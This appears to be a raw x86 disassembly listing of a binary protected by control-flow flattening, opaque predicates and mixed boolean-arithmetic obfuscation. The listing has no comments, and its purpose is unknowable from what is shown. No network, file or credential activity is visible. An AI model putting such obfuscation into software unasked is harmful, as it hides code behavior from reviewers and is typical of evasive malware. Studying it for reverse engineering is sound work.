and edx, 0xcf2324a8
or eax, edx
xor eax, 0xbfb64358
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa36d5d73
and ecx, 0x5c92a28c
or eax, ecx
xor eax, 0xa36d5d73
mov dword [ebp - 0x1ac], eax
mov eax, 0x4c11ae11
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x902b2710
mov esi, eax
and esi, 0x6fd4d8ee
and eax, 0xd7ac613
or edx, esi
mov esi, edx
xor esi, 0x10290500
xor edx, 0x6fd4d8ef
mov edi, edx
and edi, 0xc5c22ab1
and esi, 0x3a3dd54e
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xf28539ec
mov ebx, edi
not ebx
and edi, 0x3a3dd54e
or eax, ecx
or edx, ebx
and ebx, 0xc5c22ab1
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xd7ac613
mov edi, esi
and edi, 0xf28539ec
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x2aa22deb
sete ah
setne ch
cmp dword [0x4d6178], 0xa
mov dh, ah
setl dl
setge al
mov cl, dl
or dh, al
and al, ah
or cl, ch
and ch, dl
or dl, ah
or al, ch
mov ebx, ecx
or cl, dh
xor al, 1
xor bl, dh
xor cl, 1
mov ah, al
or al, dl
or cl, bl
xor ah, dl
not al
mov edx, 0xea5902d1
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov esi, 0xea5902d1
cmovne edx, esi
test al, al
cmovne esi, edx
test al, cl
cmove esi, edx
mov eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0x60]
mov eax, dword [0x4d617c]
mov esi, 0xd3bf90a1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x32fdfa45
mov edx, eax
and eax, 0xcd0205ba
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xcd0205bb
or eax, edx
mov ecx, eax
not ecx
and eax, 0x13ba74c7
and ecx, 0xec458b38
or ecx, eax
mov eax, ecx
xor eax, 0x68440b10
xor ecx, 0x33050c2
and ecx, 0x8731d0ea
and eax, 0x78ce2f15
or eax, ecx
xor eax, 0x78ce2f15
sete dh
setne ah
cmp dword [0x4d6178], 0xa
mov cl, dh
setl al
setge dl
mov ch, al
or cl, al
and al, ah
xor ch, dh
and dh, dl
or dl, ah
or al, dh
xor dl, 1
and cl, ch
xor al, 1
or dl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9793d7f1
cmovne ecx, esi
test al, al
mov esi, 0x9793d7f1
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x110]
mov eax, 0x201a52e7
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4f4984db
and eax, 0x10960864
mov edx, ecx
and edx, 0xb0b67b24
or ecx, 0x41088408
or esi, edx
and ecx, 0xcb49e488
mov edx, esi
xor edx, 0x4000013
or esi, 0x8a416080
or eax, ecx
and esi, 0xcb49e488
and edx, 0x24201313
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x6528971b
and ecx, 0x9ad768e4
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xf083ad66
and edx, 0xfffffffe
and ecx, 0xf7c5299
or eax, ecx
xor eax, 0xf083ad67
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x1bb51b30
and eax, 0xe44ae4cf
or ecx, eax
mov eax, ecx
xor eax, 0x1bb00b10
xor ecx, 0xe44ae4cf
mov esi, ecx
and esi, 0x8447702d
and eax, 0x7bb88fd2
or eax, esi
mov esi, edx
not esi
and edx, 0x7bb88fd2
or ecx, esi
and esi, 0x8447702d
or edx, esi
not ecx
mov esi, 0x7748c832
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf2dd9c20
mov edx, eax
and edx, 0xd2263df
or ecx, edx
xor ecx, 0xd2263df
xor eax, ecx
test eax, ecx
setne ah
sete ch
cmp dword [0x4d6178], 0xa
setl dl
setge al
and ah, dl
and al, ch
mov cl, dl
or dl, ch
or al, ah
mov ah, dl
xor cl, ch
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbe841cc3
cmovne ecx, esi
test al, 1
mov eax, 0xbe841cc3
jmp 0x40ecea
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0x26a7eb7c
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0xf48fd951
jmp 0x402ce0
mov eax, 0xff0ca8d1
jmp 0x402ce0
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x150]
cmp ecx, dword [eax + 0x34]
mov eax, 0x42f25f94
mov ecx, 0x179dc7ef
cmove eax, ecx
jmp 0x402ce0
mov eax, 0x974d298b
jmp 0x402ce0
mov eax, dword [ebp - 0xbc]
mov edi, 0x20905812
add eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x61cd13be
and eax, 0x66533f10
mov esi, edx
and esi, 0x9e32ec40
or ecx, esi
mov esi, ecx
xor esi, 0x418d010c
xor ecx, 0x80102001
and ecx, 0xa05032b3
and esi, 0x5fafcd4c
or esi, ecx
mov ecx, edx
or ecx, 0xa05032b2
and edx, 0x99acc0ef
and ecx, 0xa05032b3
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xc60008a9
mov esi, edx
and esi, 0x39fff756
or ecx, esi
mov esi, eax
xor esi, 0x46000800
xor eax, 0x19acc046
and eax, 0x39fff756
and esi, 0xc60008a9
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x6b961f90
setne al
sete ah
cmp dword [0x4d6178], 0xa
mov ecx, eax
setl ch
setge dl
and cl, dl
and ch, ah
xor al, dl
or ch, cl
and al, ah
mov cl, ch
xor al, 1
xor cl, dl
or dl, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x20905812
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402ce0
cmp dword [ebp - 0x50], 0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
sets byte [ebp - 0x7b]
imul edx, eax
mov ecx, edx
xor ecx, 0xaf2b35b4
mov eax, edx
and eax, 0x7d1466a5
and ecx, edx
not edx
and edx, 0x82eb995a
or eax, edx
mov edx, eax
xor eax, 0x822b1110
xor edx, 0x28002000
mov esi, eax
or esi, 0xc4c209
and edx, 0x28223100
and esi, 0x87cdc6bd
or edx, esi
mov esi, ecx
not esi
and ecx, 0x78323942
or eax, esi
and esi, 0x87cdc6bd
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x50d4ca4b
and eax, 0xaf2b35b4
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x3c555026
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xc3aaafd8
or eax, esi
mov esi, edx
not esi
and edx, 0x3c555027
or ecx, esi
and esi, 0xc3aaafd8
or edx, esi
not ecx
mov esi, 0xfc923405
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa19a1f11
and eax, 0x5e65e0ee
or ecx, eax
mov eax, ecx
xor eax, 0x21121610
xor ecx, 0x564400a6
and ecx, 0xd6cc09a7
and eax, 0x2933f658
or eax, ecx
mov ecx, eax
xor ecx, 0x12c00903
xor eax, 0x21012410
and eax, 0xe50d24b4
and ecx, 0x1af2db4b
or ecx, eax
mov eax, ecx
xor eax, 0x2725848
xor ecx, 0x24040080
and ecx, 0x3c848383
and eax, 0xc37b7c7c
or eax, ecx
xor eax, 0xc37b7c7c
setne ah
sete ch
cmp dword [0x4d6178], 0xa
mov dh, ah
setge cl
setl dl
mov al, cl
and ah, dl
and cl, ch
or dh, dl
or dl, ch
or cl, ah
or al, ch
xor dh, 1
xor cl, 1
xor al, 1
mov ah, cl
or cl, dl
or al, dh
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xebf344b7
cmovne ecx, esi
test al, 1
mov eax, 0xebf344b7
jmp 0x40e092
mov eax, dword [ebp - 0x20]
mov edi, 0xb5aa8fab
mov dword [eax], 0xc
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x9431002
not ecx
and eax, 0x410e830
mov esi, ecx
and edx, 0x296f11cb
and esi, 0xd2800604
or esi, edx
mov edx, ecx
or edx, 0x202c01c9
and edx, 0x296f11cb
or eax, edx
xor eax, esi
mov esi, 0xd22ed54a
mov edx, eax
not edx
and eax, 0xf2ac07cc
and edx, 0xd53f833
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x4d6178], 0xa
setge cl
setl al
mov ah, cl
or cl, dl
xor al, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
xor cl, 1
or cl, ah
mov ah, cl
not ah
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
cmovne edi, esi
test al, 1
mov eax, 0xb5aa8fab
cmovne edi, eax
test dl, 1
cmove edi, esi
mov eax, edi
jmp 0x402ce0
movzx eax, byte [ebp - 0x71]
movzx edx, byte [ebp - 0x72]
mov esi, 0x1937f9b9
mov ah, al
mov ch, dl
xor ah, 1
mov cl, ah
and cl, al
xor cl, 1
or cl, al
xor al, dl
xor cl, 1
or cl, ah
xor cl, 1
or ch, cl
xor cl, dl
and cl, ch
mov ch, ah
xor ch, dl
and ch, ah
or al, ch
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
mov al, dl
xor ah, 1
xor al, 1
and dl, ah
and cl, al
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, 1
mov eax, 0x72dc0c10
cmovne eax, esi
test cl, 1
cmove eax, esi
test ch, 1
mov ecx, 0x72dc0c10
cmove eax, ecx
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x830c0004
and ecx, 0x28108001
mov edx, eax
or edx, 0x5421156a
and esi, 0xd72d156e
and eax, 0xc26a90
and edx, 0xd72d156e
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x54e37ffa
and eax, 0xab1c8005
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x84c5b24b
and ecx, 0x39f4565c
and eax, 0x7b3a4db4
or edx, eax
mov eax, edx
xor eax, 0x84c5b24b
xor edx, 0x302801b0
mov esi, eax
and esi, 0xc60ba9a3
and edx, 0xb4adb3f2
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc60ba9a2
and esi, 0x39f4565d
or ecx, esi
mov esi, eax
and esi, 0x4b524c0d
and eax, 1
or esi, edx
xor esi, 0xb4adb3f3
or eax, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x6a32312
and eax, 0x44041
mov edx, ecx
and edx, 0x9110808c
or ecx, 0x86a2a21a
or esi, edx
and ecx, 0xeeeabe3a
mov edx, esi
xor edx, 0x10100
xor esi, 0xe8489c28
or eax, ecx
and esi, 0xeeeabe3a
and edx, 0x11110184
or edx, esi
mov esi, 0x163621bb
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7c817349
and ecx, 0x837e8cb6
or eax, ecx
mov ecx, eax
xor ecx, 0xa9329057
xor eax, 0x14cd2f28
mov edx, eax
and edx, 0x424568a0
and ecx, 0xbdba975f
or ecx, edx
xor ecx, 0x424568a0
xor eax, ecx
test eax, ecx
sete ah
setne ch
cmp dword [0x4d6178], 0xa
mov dh, ah
setge dl
setl cl
mov al, dl
or dh, cl
xor cl, ah
and dl, ah
inc al
and cl, dh
and ch, al
or al, ah
or dl, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xfc923405
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40eced
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xcfbfa457
mov edx, eax
not edx
and ecx, eax
or eax, 0x30405ba8
and edx, 0x451e8041
mov esi, eax
and esi, 0xaaa174b6
or edx, esi
mov esi, ecx
not esi
and ecx, 0x555e8b49
or eax, esi
and esi, 0xaaa174b6
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf95f31da
and ecx, 0x6a0ce25
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xc91f6a72
xor edx, 0x36e0958d
xor eax, 0xd663d12
mov esi, ecx
and eax, edx
and esi, 0x3b86a89f
and edx, 0xf54ed148
or eax, esi
mov esi, eax
not esi
and eax, 0x680c5f7f
and esi, 0x97f3a080
or eax, esi
mov esi, ecx
and esi, 0xab12eb7
and ecx, 1
or esi, edx
xor eax, 0x538af7e1
xor esi, 0xf54ed149
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xb9e7d34
and edx, 0xf46182cb
or ecx, edx
xor ecx, 0xb9e7d34
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x7653219e
and ecx, 0x89acde61
mov edi, edx
not edi
and edx, 0x87d0f0f0
or eax, ecx
mov ecx, eax
xor ecx, 0x6502090
xor eax, 0x89acde61
mov esi, eax
or eax, edi
and edi, 0x782f0f0f
and esi, 0x782f0f0f
and ecx, 0x87d0f0f0
or ecx, esi
or edx, edi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9a4cf872
and ecx, 0x65b3078d
or ecx, eax
mov eax, ecx
xor eax, 0xa40a800
xor ecx, 0x45910608
and ecx, 0xd59d567a
and eax, 0x2a62a985
or eax, ecx
cmp eax, 0x2a62a985
setne cl
cmp dword [0x4d6178], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
mov ecx, edx
mov ah, al
and cl, al
xor ah, 1
mov ch, ah
xor ah, dl
xor dl, 1
and ch, dl
or dl, al
xor dl, 1
or cl, ch
or dl, ah
mov eax, 0x1134c948
mov ch, dl
xor ch, cl
test dl, dl
mov edx, 0x9e5a0512
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, 1
mov edx, 0x1134c948
cmove eax, edx
jmp 0x402ce0
cmp byte [ebp - 0x7a], 0
mov eax, 0xc63da2f1
mov ecx, 0x90c87a80
cmovne eax, ecx
jmp 0x402ce0
mov eax, 0xc8976310
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd1050a0
mov esi, edx
and esi, 0x92410840
mov edi, edx
or edi, 0x7401000
and edx, 0xcb47174c
or ecx, esi
and edi, 0x76cb514
mov esi, ecx
xor esi, 0x81040a0
xor ecx, 0x26ca514
and ecx, 0x76cb514
and esi, 0x981148e0
or esi, ecx
mov ecx, eax
and ecx, 0x6082020b
and eax, 0x34b8e8b3
or ecx, edi
or eax, edx
mov edi, 0x2ce51214
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xfabfbc9a
and esi, 0x5404365
or ecx, esi
mov esi, ecx
xor esi, 0x40ee843a
xor ecx, 0x9a111b84
mov edx, ecx
and edx, 0xb5107345
and esi, 0x4aef8cba
or esi, edx
mov edx, eax
xor edx, 0xa888b2
xor eax, 0x81001344
and eax, 0xb5107345
and edx, 0x4aef8cba
or edx, eax
xor edx, esi
mov esi, 0xcf82c562
xor ecx, edx
test ecx, edx
sete al
setne dl
cmp dword [0x4d6178], 0xa
mov ecx, eax
setl ah
xor cl, ah
mov ch, ah
or al, ah
and cl, dl
or ch, dl
xor dl, ah
xor cl, 1
mov ah, dl
mov dh, cl
or cl, ch
xor ah, al
or al, dl
xor dh, ch
xor cl, 1
xor al, 1
or cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
xor ah, 1
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x2ce51214
cmovne eax, esi
test dl, 1
cmove eax, edi
jmp 0x40c597
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x40]
add eax, 4
mov dword [ebp - 0x15c], eax
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 0x88504284
and edx, 0x12820918
mov ecx, eax
or ecx, 0x52d2422
and esi, 0x8d7d66a6
and eax, 0x60009041
and ecx, 0x8d7d66a6
or eax, esi
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0xe43b4aaa
and eax, 0x1bc4b555
or edx, eax
mov eax, edx
xor edx, 0x68c10020
xor eax, 0x8116fec9
mov ecx, eax
and edx, 0x69d32821
and ecx, 0x962cd7de
and eax, 0x2fce1dc3
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x962cd7de
xor esi, 0xb9e2ca1d
xor ecx, 0x21402800
and esi, edx
or edx, 1
and ecx, 0x23643f06
or eax, esi
mov esi, eax
not esi
and eax, 0x8c5baa07
and esi, 0x73a455f8
or eax, esi
mov esi, eax
xor esi, 0x600802
xor eax, 0xa395b7c5
mov edi, eax
or eax, edx
and edx, 0xdc9bc0f9
and edi, 0xdc9bc0f9
and esi, 0x23643f06
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x16f46bc4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb90abe00
and ecx, 0x46f541ff
or ecx, eax
mov eax, ecx
xor eax, 0x29088c00
xor ecx, 0x42a00192
and ecx, 0xd2a23392
and eax, 0x2d5dcc6d
or eax, ecx
mov ecx, eax
xor ecx, 0x590860
xor eax, 0x82800210
and eax, 0xaf84c61d
and ecx, 0x507b39e2
or ecx, eax
xor ecx, 0x507b39e2
setne ah
sete cl
cmp dword [0x4d6178], 0xa
mov dh, ah
setge al
setl ch
mov dl, al
and al, cl
or dh, ch
inc dl
xor dh, 1
and ah, dl
or dl, cl
xor cl, ch
or al, ah
mov ah, dl
and cl, ch
xor al, 1
or cl, dh
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0xba2f528
cmovne esi, eax
test dl, 1
mov eax, 0x16f46bc4
cmovne eax, esi
test cl, 1
cmovne eax, esi
jmp 0x402ce0
mov eax, 0xe331cf39
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xf0d658cd
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xc52662c1
and ecx, 0x3ad99d3e
or eax, ecx
mov esi, eax
xor esi, 0x81002081
xor eax, 0x10c10000
and eax, 0x54e74240
and esi, 0xab18bdbf
or esi, eax
mov edx, esi
mov ecx, esi
xor edx, 0x54e74240
xor ecx, 0xab18bdbf
xor esi, 0xd201a8f4
mov eax, edx
and esi, ecx
and eax, 0x7919154b
and edx, 0x4caeac36
or eax, esi
mov esi, eax
not esi
and eax, 0x7a47ec11
and esi, 0x85b813ee
or eax, esi
mov esi, ecx
and esi, 0xb35153c9
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x40ac0c21
xor esi, 0x32010048
or ecx, edx
mov edx, eax
xor edx, 0x84800624
and esi, 0x3e03a05e
xor eax, 0x35ef95b
and ecx, 0xc1fc5fa1
and edx, 0x8482866f
or ecx, esi
mov esi, eax
and esi, 0x7b7d7990
or edx, esi
mov esi, ecx
xor esi, 0x80800621
xor ecx, 0x3e03a05e
or eax, ecx
and ecx, 0x7b7d7990
and esi, 0x8482866f
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
xor edx, 0x2aa2c071
mov ecx, eax
and ecx, 0x12dbdb30
and edx, eax
not eax
and eax, 0xed2424cf
or ecx, eax
mov eax, ecx
xor ecx, 0x28200041
xor eax, 0x2824020
or ecx, 0xd55d3f8e
and eax, 0xa824021
mov esi, ecx
and esi, 0x616584d0
or eax, esi
mov esi, edx
not esi
and edx, 0x9e9a7b2f
or ecx, esi
and esi, 0x616584d0
or edx, esi
not ecx
mov esi, 0x40e36d2e
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6c7a09c0
and eax, 0x9385f63f
or ecx, eax
mov eax, ecx
xor eax, 0x2004110
xor ecx, 0x89230042
and ecx, 0xcdfb88e3
and eax, 0x3204771c
or eax, ecx
mov ecx, eax
xor ecx, 0x20047700
xor eax, 0x4de200e3
and eax, 0x5fe200ff
and ecx, 0xa01dff00
or ecx, eax
mov eax, ecx
xor eax, 0x4b20006e
xor ecx, 0x1c5000
and ecx, 0x14de5091
and eax, 0xeb21af6e
or eax, ecx
xor eax, 0xeb21af6e
sete ch
setne ah
cmp dword [0x4d6178], 0xa
setge cl
setl dl
mov al, cl
mov dh, dl
and cl, ch
xor al, ah
or dh, ah
and al, ah
and ah, dl
or dl, ch
xor dl, 1
or cl, ah
xor al, 1
or cl, dl
mov ebx, eax
or al, dh
mov ah, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
not cl
and cl, al
test dl, 1
mov eax, 0xf0d658cd
cmovne eax, esi
test cl, 1
cmove eax, edi
cmovne eax, esi
jmp 0x40d9d1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, 0x41b64795
jmp 0x402ce0
mov eax, 0x9ca43d8e
jmp 0x402ce0
mov eax, 0x40e36d2e
jmp 0x402ce0
mov eax, 0x6a81eb0d
jmp 0x402ce0
mov eax, 0xf9cbb249
jmp 0x402ce0
mov eax, 0x9e54f57f
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x60d66fff
mov eax, edx
and eax, 0x5816001
and ecx, edx
not edx
and edx, 0xfa7e9ffe
or eax, edx
mov edx, eax
xor eax, 0x60560ffe
xor edx, 0x802001
or eax, 0x9f299000
and edx, 0xd02a31
mov esi, eax
and esi, 0x732ed5ce
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8cd12a31
or eax, esi
and esi, 0x732ed5ce
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x24d50043
and ecx, 0xdb2affbc
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xa401000
xor ecx, 0x44036fbc
xor eax, 0xeebc5958
mov esi, ecx
and edx, 0x4a427094
and esi, 0xb5bd8f6b
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0xb5bd8f6b
xor esi, 0x4a426084
mov edx, ecx
and edx, 0xaabf36e4
mov edi, ecx
and esi, 0xcfdf65a4
and edi, 0x30209a5b
and ecx, 1
or eax, edx
or edi, esi
mov edx, eax
not edx
and eax, 0xa282ed1f
and edx, 0x5d7d12e0
or eax, edx
mov edx, edi
xor edx, 0x48036585
xor edi, 0x20008812
or ecx, edx
mov edx, eax
xor edx, 0x81dda98
xor eax, 0xf7c22405
and edi, 0xa7dc8832
and ecx, 0x582377cd
mov esi, eax
and esi, 0xf1e20162
and edx, 0xe1dfe9d
or ecx, edi
or edx, esi
mov esi, ecx
xor esi, 0x801768d
xor ecx, 0xa7dc8832
or eax, ecx
and ecx, 0xf1e20162
and esi, 0xe1dfe9d
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x64ac32ed
mov ecx, eax
not ecx
and eax, 0x80020900
mov edx, ecx
and edx, 0x12b06208
and ecx, 0x6d4d94f7
or eax, edx
xor eax, 0x80020900
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb8d075f9
and eax, 0x472f8a06
or ecx, eax
mov eax, ecx
xor eax, 0x28002040
xor ecx, 0x2f8a00
and ecx, 0x90ffdfb9
and eax, 0x6f002046
or eax, ecx
cmp eax, 0x6f002046
sete dl
cmp dword [0x4d6178], 0xa
setl al
mov ecx, eax
or al, dl
xor cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xf81f454d
cmovne ecx, esi
test al, 1
not dl
mov eax, 0xf81f454d
cmovne ecx, esi
test dl, 1
jmp 0x402ccf
mov eax, 0x7ae889dc
jmp 0x402ce0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [0x4d617c]
mov edi, 0xab2a4f8f
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xcbbfad51
and edx, 0xcbbfad51
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x231764ef
and edx, 0xdce89b10
or ecx, edx
mov edx, ecx
xor edx, 0xe8a8c9bf
xor ecx, 0x17573640
andn esi, eax, ecx
and edx, eax
or edx, esi
mov esi, 0x3f4da071
xor ecx, edx
test ecx, edx
setne ah
sete ch
cmp dword [0x4d6178], 0xa
mov cl, ah
setge al
setl dl
xor cl, al
mov dh, al
and cl, ch
or dh, ch
xor cl, 1
mov ebx, ecx
or cl, dh
xor bl, dh
mov dh, dl
xor dl, ch
and ch, al
or al, ah
xor cl, 1
xor al, 1
and dh, ah
or cl, bl
or al, dl
or dh, ch
mov ch, cl
xor al, 1
or al, dh
mov edx, eax
xor dl, 1
and al, dl
mov ah, dl
xor ch, dl
xor al, 1
xor ah, al
or al, dl
or dl, cl
xor al, 1
xor dl, 1
or al, ah
or dl, ch
mov ah, al
xor al, 1
and ah, cl
xor cl, 1
and al, cl
mov ecx, edx
or al, ah
xor cl, al
test cl, 1
cmovne edi, esi
test dl, 1
mov esi, 0xab2a4f8f
cmovne esi, edi
test al, 1
cmove esi, edi
mov eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov eax, 0xc2b31fe9
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe9215df1
mov esi, edx
and esi, 0x16dea20e
and edx, 0x1506f0ce
or ecx, esi
mov esi, ecx
xor esi, 0x88011d50
xor ecx, 0xd42202
and ecx, 0x61f462a2
and esi, 0x9e0b9d5c
or esi, ecx
mov ecx, eax
or ecx, 0x61f462a2
and eax, 0xeaf90f31
and ecx, 0x61f462a3
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x74d066a3
mov esi, edx
and esi, 0x8b2f995c
or ecx, esi
mov esi, eax
xor esi, 0x60d00621
xor eax, 0x106904c
and eax, 0x8b2f995c
and esi, 0x74d066a3
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x82de89aa
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setl ch
setge al
mov cl, ch
and dl, ch
or ch, ah
and al, ah
xor cl, ah
xor ch, 1
or al, dl
or al, ch
mov ch, cl
mov edx, eax
xor ch, al
and al, cl
and ch, cl
xor cl, 1
not dl
and dl, cl
or al, dl
mov edx, 0x36bb7150
mov cl, al
xor cl, ch
test al, al
mov eax, 0x82de89aa
cmovne eax, edx
test ch, ch
cmove eax, esi
mov esi, dword [ebp - 0xd8]
test cl, cl
cmovne eax, edx
mov dword [ebp - 0x118], esi
jmp 0x402ce0
